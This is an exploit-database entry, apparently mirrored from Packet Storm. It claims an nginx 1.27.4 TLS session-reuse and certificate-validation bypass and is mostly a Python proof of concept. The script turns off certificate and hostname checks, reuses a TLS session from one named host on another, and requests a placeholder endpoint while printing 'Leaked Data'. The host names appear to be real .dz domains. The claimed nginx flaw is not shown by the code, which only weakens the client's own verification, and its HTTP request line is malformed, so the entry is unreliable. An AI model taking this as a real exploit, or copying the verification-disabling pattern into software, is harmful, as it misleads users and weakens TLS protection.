Lucene search
K

📄 nginx 1.27.4 Insecure TLS Session Reuse / SSL Certificate Validation Bypass

🗓️ 16 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 18 Views

Nginx 1.27.4 insecure TLS session reuse across servers with certificate and hostname bypass.

Code
==================================================================================================================================
    | # Title     : nginx 1.27.4 Insecure TLS Session Reuse and SSL Certificate Validation Bypass                                    |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://nginx.org/                                                                                               |
    ==================================================================================================================================
    
    [+] Summary    : reuse a TLS/SSL session obtained from one server when connecting to a different server while completely disabling certificate and hostname verification. 
                     The script establishes encrypted connections, captures a TLS session object, attempts session resumption on another host, and requests a protected API endpoint.
    
    [+] POc        :  
    
    #!/usr/bin/env python3
    
    import ssl
    import socket
    
    def create_insecure_context():
        """Create an SSL context that does not verify the certificate"""
        context = ssl.create_default_context()
        context.check_hostname = False 
        context.verify_mode = ssl.CERT_NONE 
        return context
    
    source_server = "target01.gov.dz"
    target_server = "target02.dz"
    
    print(f" Starting attack from {source_server} to {target_server}")
    print("Preparing connection (without certificate verification)...")
    ssl_context1 = create_insecure_context()
    print(f" Connecting to {source_server}...")
    conn1 = socket.create_connection((source_server, 443))
    secure_conn1 = ssl_context1.wrap_socket(conn1, server_hostname=source_server)
    print(" Stealing session...")
    stolen_session = secure_conn1.session
    secure_conn1.close()
    print(f"Session obtained: {stolen_session}")
    print(f"\n Attempting to enter {target_server} using the stolen session...")
    conn2 = socket.create_connection((target_server, 443))
    secure_conn2 = ssl_context1.wrap_socket(conn2, server_hostname=target_server, session=stolen_session)
    
    print("Requesting secret configuration file...")
    request = f"GET 'LINK API'  HTTP/1.1\r\nHost: {target_server}\r\nConnection: close\r\n\r\n"
    secure_conn2.send(request.encode())
    
    response = secure_conn2.recv(8000)
    secure_conn2.close()
    
    if b"200 OK" in response:
        print("\nAttack Succeeded! Entered the secret system!")
        print("\n" + "="*50)
        print("Leaked Data:")
        print("="*50)
    
        if b'\r\n\r\n' in response:
            body = response.split(b'\r\n\r\n', 1)[1]
            try:
                print(body.decode('utf-8', errors='ignore')[:1500])
            except:
                print(body[:1500])
    else:
        print("\n Attack Failed")
        print(f"Server response: {response[:200]}")
    
    
    
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation